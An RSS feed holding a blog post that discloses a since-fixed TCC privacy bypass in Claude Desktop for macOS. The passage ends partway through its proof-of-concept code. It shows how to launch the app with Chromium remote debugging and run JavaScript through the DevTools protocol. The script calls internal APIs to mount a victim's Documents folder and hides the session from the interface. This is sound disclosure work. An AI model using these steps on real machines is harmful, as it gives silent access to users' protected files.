<?xml version="1.0" encoding="utf-8"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>0day.gg</title><link>https://0day.gg/</link><description>Vulnerability research and reverse engineering by actae0n.</description><language>en-US</language><atom:link href="https://0day.gg/index.xml" rel="self" type="application/rss+xml"/><item><title>TCC Bypass in Claude Desktop for macOS</title><link>https://0day.gg/blog/claude-desktop-tcc-bypass/</link><guid>https://0day.gg/blog/claude-desktop-tcc-bypass/</guid><pubDate>Sat, 24 Jan 2026 00:00:00 -0800</pubDate><description>&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Product&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Claude Desktop for macOS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Tested Version&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;1.1.673&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;TCC Bypass&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Status&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Fixed (1.1.2321)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="summary"&gt;Summary&lt;a class="heading-anchor" href="#summary" aria-label="Link to Summary"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The release of &lt;a href="https://claude.com/blog/cowork-research-preview" target="_blank" rel="noopener noreferrer"&gt;Cowork&lt;/a&gt; (Claude Desktop&amp;rsquo;s research preview, general-purpose agent mode for day-to-day tasks) got me interested in poking at Claude Desktop. It brings the workflow people learned to love in the Claude Code CLI into a GUI, and under the hood it ships a &lt;a href="https://x.com/lukOlejnik/status/2012521021694251331" target="_blank" rel="noopener noreferrer"&gt;full VM image&lt;/a&gt; that boots and mounts host folders to provide tool access in agent mode.&lt;/p&gt;
&lt;p&gt;While exploring how Cowork sessions are created and how folder access is wired up, I found a TCC bypass. An attacker with local code execution can enable Chromium remote debugging (&lt;code&gt;--remote-debugging-port&lt;/code&gt;), connect via the Chrome DevTools Protocol (CDP), and execute JavaScript in Claude&amp;rsquo;s renderer to call Claude&amp;rsquo;s internal session and filesystem APIs. This effectively proxies access to TCC-protected folders through Claude Desktop&amp;rsquo;s already-granted permissions, without triggering any consent prompts.&lt;/p&gt;
&lt;h2 id="what-is-tcc"&gt;What is TCC?&lt;a class="heading-anchor" href="#what-is-tcc" aria-label="Link to What is TCC?"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Transparency, Consent, and Control (TCC) is macOS&amp;rsquo;s privacy framework. It restricts application access to sensitive resources: Documents, Downloads, Desktop, Camera, Microphone, Contacts, and more.&lt;/p&gt;
&lt;p&gt;When an app first attempts to access a protected resource, macOS prompts the user for consent. If denied, the decision is enforced by macOS mandatory access control (TCC-backed sandbox policy) and file operations typically fail with &lt;code&gt;EPERM&lt;/code&gt; (&amp;ldquo;Operation not permitted&amp;rdquo;). This applies even to processes running as root. For more detail on how the platform sandbox policy backstops TCC, see &lt;a href="https://bdash.net.nz/posts/tcc-and-the-platform-sandbox-policy/" target="_blank" rel="noopener noreferrer"&gt;TCC and the macOS Platform Sandbox Policy&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;TCC exists specifically to protect users after an attacker achieves code execution. The framework ensures that even compromised processes cannot silently access sensitive files. Apps that legitimately need folder access prompt the user once, and these grants persist in the TCC database. For more on TCC internals, see &lt;a href="https://nsantoine.dev/TCCPaper.pdf" target="_blank" rel="noopener noreferrer"&gt;Firstline Privacy Defense&lt;/a&gt; by Osama Alhour and &lt;a href="https://afine.com/threat-of-tcc-bypasses-on-macos/" target="_blank" rel="noopener noreferrer"&gt;Threat of TCC Bypasses on macOS&lt;/a&gt; by AFINE.&lt;/p&gt;
&lt;p&gt;When you attach a TCC-protected folder to Claude Desktop (for example, selecting &lt;code&gt;~/Documents&lt;/code&gt; for an agent session), macOS prompts you to grant Claude access. Once approved, Claude can read and write to that folder for all future sessions.&lt;/p&gt;
&lt;figure class="evidence-figure"&gt;
&lt;a class="image-link" data-zoom href="https://0day.gg/images/claude/claude_consent.png"&gt;&lt;img src="https://0day.gg/images/claude/claude_consent.png" alt="Claude Desktop TCC consent prompt" loading="lazy" decoding="async" width="520" height="425"&gt;&lt;/a&gt;
&lt;figcaption&gt;TCC consent prompt when attaching a protected folder to Claude Desktop.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;h2 id="electron-fuses"&gt;Electron Fuses&lt;a class="heading-anchor" href="#electron-fuses" aria-label="Link to Electron Fuses"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Electron apps inherit powerful debugging capabilities from both Node.js and Chromium. For security-sensitive apps, these should be disabled in production.&lt;/p&gt;
&lt;p&gt;Many Electron TCC bypasses in the wild are &amp;ldquo;piggyback&amp;rdquo; style: the attacker finds a way to run attacker-controlled JavaScript via the embedded Node runtime (for example by abusing &lt;code&gt;RunAsNode&lt;/code&gt;, &lt;code&gt;NODE_OPTIONS&lt;/code&gt;, or Node&amp;rsquo;s inspector), then inherits the app&amp;rsquo;s TCC grants. Electron provides &lt;a href="https://www.electronjs.org/docs/latest/tutorial/fuses" target="_blank" rel="noopener noreferrer"&gt;fuses&lt;/a&gt;: compile-time toggles that disable specific features.&lt;/p&gt;
&lt;p&gt;Claude Desktop has the common Node-based piggyback paths locked down:&lt;/p&gt;
&lt;div class="code-panel"&gt;
&lt;div class="code-scroll" tabindex="0" role="region" aria-label="Code listing"&gt;&lt;pre class="shiki"&gt;&lt;code data-lang="shellscript"&gt;&lt;span class="line"&gt;&lt;span style="color:#82AAFF"&gt;$&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; npx&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; @electron/fuses&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; read&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; --app&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; /Applications/Claude.app&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#82AAFF"&gt;Analyzing&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; app:&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; Claude.app&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#82AAFF"&gt;Fuse&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; Version:&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; v1&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#82AAFF"&gt; RunAsNode&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; is&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; Disabled&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#82AAFF"&gt; EnableCookieEncryption&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; is&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; Enabled&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#82AAFF"&gt; EnableNodeOptionsEnvironmentVariable&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; is&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; Disabled&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#82AAFF"&gt; EnableNodeCliInspectArguments&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; is&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; Disabled&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#82AAFF"&gt; EnableEmbeddedAsarIntegrityValidation&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; is&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; Enabled&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#82AAFF"&gt; OnlyLoadAppFromAsar&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; is&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; Enabled&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#82AAFF"&gt; LoadBrowserProcessSpecificV8Snapshot&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; is&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; Disabled&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#82AAFF"&gt; GrantFileProtocolExtraPrivileges&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; is&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; Enabled&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;This rules out the &lt;code&gt;RunAsNode&lt;/code&gt; and &lt;code&gt;NODE_OPTIONS&lt;/code&gt; vectors seen in other Electron TCC bypasses. But there&amp;rsquo;s a gap: &lt;code&gt;--remote-debugging-port&lt;/code&gt; is a Chromium flag, not a Node.js flag, and Electron provides no fuse to disable it.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Flag&lt;/th&gt;
&lt;th&gt;Controlled by &lt;code&gt;EnableNodeCliInspectArguments&lt;/code&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;--inspect&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;--inspect-brk&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SIGUSR1&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;--remote-debugging-port&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;No&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;From &lt;a href="https://github.com/electron/fuses/issues/2" target="_blank" rel="noopener noreferrer"&gt;electron/fuses#2&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&amp;ldquo;NodeJS debugging flags can now be disabled by fuses [&amp;hellip;] Chromium debugging flags are a different beast that will have to be potentially dealt with separately (if it&amp;rsquo;s even possible).&amp;rdquo;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="window-of-opportunity"&gt;Window of Opportunity&lt;a class="heading-anchor" href="#window-of-opportunity" aria-label="Link to Window of Opportunity"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Claude Desktop can be launched with Chromium remote debugging enabled via &lt;code&gt;--remote-debugging-port&lt;/code&gt;:&lt;/p&gt;
&lt;div class="code-panel"&gt;
&lt;div class="code-scroll" tabindex="0" role="region" aria-label="Code listing"&gt;&lt;pre class="shiki"&gt;&lt;code data-lang="shellscript"&gt;&lt;span class="line"&gt;&lt;span style="color:#82AAFF"&gt;$&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; open&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; -a&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; Claude&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; --args&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; --remote-debugging-port=9222&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#82AAFF"&gt;$&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; curl&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; -s&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; http://localhost:9222/json&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt;[&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;description&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;: &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;""&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;devtoolsFrontendUrl&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;: &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;/devtools/inspector.html?ws=...&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;title&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;: &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;Claude&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;type&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;: &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;page&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;url&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;: &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;https://claude.ai/...&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;webSocketDebuggerUrl&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;: &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;ws://localhost:9222/devtools/page/...&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt;} &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;This exposes a DevTools websocket for Claude&amp;rsquo;s &lt;code&gt;claude.ai&lt;/code&gt; renderer target. An attacker can connect and use &lt;code&gt;Runtime.evaluate&lt;/code&gt; to execute arbitrary JavaScript in the renderer context.&lt;/p&gt;
&lt;p&gt;In a typical Electron exploit with Node.js access, you could just call &lt;code&gt;require('fs')&lt;/code&gt; and read files directly. Claude&amp;rsquo;s renderer has &lt;code&gt;nodeIntegration&lt;/code&gt; disabled, so there&amp;rsquo;s no &lt;code&gt;require()&lt;/code&gt;. But Claude exposes IPC wrappers on the &lt;code&gt;window&lt;/code&gt; object (the global namespace in browser JavaScript) that let the renderer request privileged operations from the main process. Let&amp;rsquo;s look at some of the useful APIs exposed.&lt;/p&gt;
&lt;h3 id="session-management"&gt;Session Management&lt;a class="heading-anchor" href="#session-management" aria-label="Link to Session Management"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;window[&amp;quot;claude.web&amp;quot;].LocalAgentModeSessions&lt;/code&gt;&lt;/strong&gt; controls agent sessions:&lt;/p&gt;
&lt;div class="code-panel"&gt;
&lt;div class="code-scroll" tabindex="0" role="region" aria-label="Code listing"&gt;&lt;pre class="shiki"&gt;&lt;code data-lang="javascript"&gt;&lt;span class="line"&gt;&lt;span style="color:#C792EA;font-weight:600"&gt;const&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; api &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;=&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; window[&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;claude.web&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;]&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;LocalAgentModeSessions&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt;//&lt;/span&gt;&lt;span style="color:#949494;font-style:italic"&gt; Normal session (visible in Cowork)&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#C792EA;font-weight:600"&gt;const&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; res &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;=&lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt; await&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; api&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#82AAFF"&gt;start&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;(&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; message&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;test from injection!&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; userSelectedFolders&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; []&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt;}&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;)&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;With a non-empty &lt;code&gt;message&lt;/code&gt;, the session appears as a normal agent session in the Cowork tab:&lt;/p&gt;
&lt;figure class="evidence-figure"&gt;
&lt;a class="image-link" data-zoom href="https://0day.gg/images/claude/claude_visible_session.png"&gt;&lt;img src="https://0day.gg/images/claude/claude_visible_session.png" alt="Injected session visible in Cowork tab" loading="lazy" decoding="async" width="2968" height="2120"&gt;&lt;/a&gt;
&lt;figcaption&gt;A session created via CDP injection appears normally in the Cowork tab.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;Creating a session with &lt;code&gt;userSelectedFolders&lt;/code&gt; mounts those paths into the VM at &lt;code&gt;/sessions/*/mnt/&lt;/code&gt;, inheriting Claude&amp;rsquo;s TCC permissions. But there&amp;rsquo;s a trick to avoid leaving a visible trace: create the session with an empty &lt;code&gt;message&lt;/code&gt;, then immediately stop and archive it. The session won&amp;rsquo;t appear in the sidebar, even with the Archived filter enabled. Yet it remains fully functional via the APIs, giving us invisible access to the mounted folder.&lt;/p&gt;
&lt;div class="code-panel"&gt;
&lt;div class="code-scroll" tabindex="0" role="region" aria-label="Code listing"&gt;&lt;pre class="shiki"&gt;&lt;code data-lang="javascript"&gt;&lt;span class="line"&gt;&lt;span style="color:#C792EA;font-weight:600"&gt;const&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; api &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;=&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; window[&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;claude.web&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;]&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;LocalAgentModeSessions&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt;//&lt;/span&gt;&lt;span style="color:#949494;font-style:italic"&gt; Attacker session (invisible)&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#C792EA;font-weight:600"&gt;const&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; res &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;=&lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt; await&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; api&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#82AAFF"&gt;start&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;(&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; message&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; ""&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; userSelectedFolders&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; [&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;/Users/victim/Documents&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt;}&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;)&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt;//&lt;/span&gt;&lt;span style="color:#949494;font-style:italic"&gt; Wait for session initialization&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#C792EA;font-weight:600"&gt;await&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; new&lt;/span&gt;&lt;span style="color:#78DCE8"&gt; Promise&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;(r &lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt;=&gt;&lt;/span&gt;&lt;span style="color:#82AAFF"&gt; setTimeout&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;(r&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#F4B66A"&gt; 2000&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;))&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt;//&lt;/span&gt;&lt;span style="color:#949494;font-style:italic"&gt; Stop and archive (hides from UI)&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#C792EA;font-weight:600"&gt;await&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; api&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#82AAFF"&gt;stop&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;(res&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;sessionId)&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#C792EA;font-weight:600"&gt;await&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; api&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#82AAFF"&gt;archive&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;(res&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;sessionId)&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;h3 id="filesystem-access"&gt;Filesystem Access&lt;a class="heading-anchor" href="#filesystem-access" aria-label="Link to Filesystem Access"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;window[&amp;quot;claude.web&amp;quot;].FileSystem&lt;/code&gt;&lt;/strong&gt; provides filesystem operations:&lt;/p&gt;
&lt;div class="code-panel"&gt;
&lt;div class="code-scroll" tabindex="0" role="region" aria-label="Code listing"&gt;&lt;pre class="shiki"&gt;&lt;code data-lang="javascript"&gt;&lt;span class="line"&gt;&lt;span style="color:#C792EA;font-weight:600"&gt;const&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; fs &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;=&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; window[&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;claude.web&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;]&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;FileSystem&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt;//&lt;/span&gt;&lt;span style="color:#949494;font-style:italic"&gt; List directory contents&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#C792EA;font-weight:600"&gt;const&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; listing &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;=&lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt; await&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; fs&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#82AAFF"&gt;listFilesInFolder&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;(sessionId&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;/Users/victim/Documents&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;)&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt;//&lt;/span&gt;&lt;span style="color:#949494;font-style:italic"&gt; Read file contents&lt;/span&gt;&lt;/span&gt;
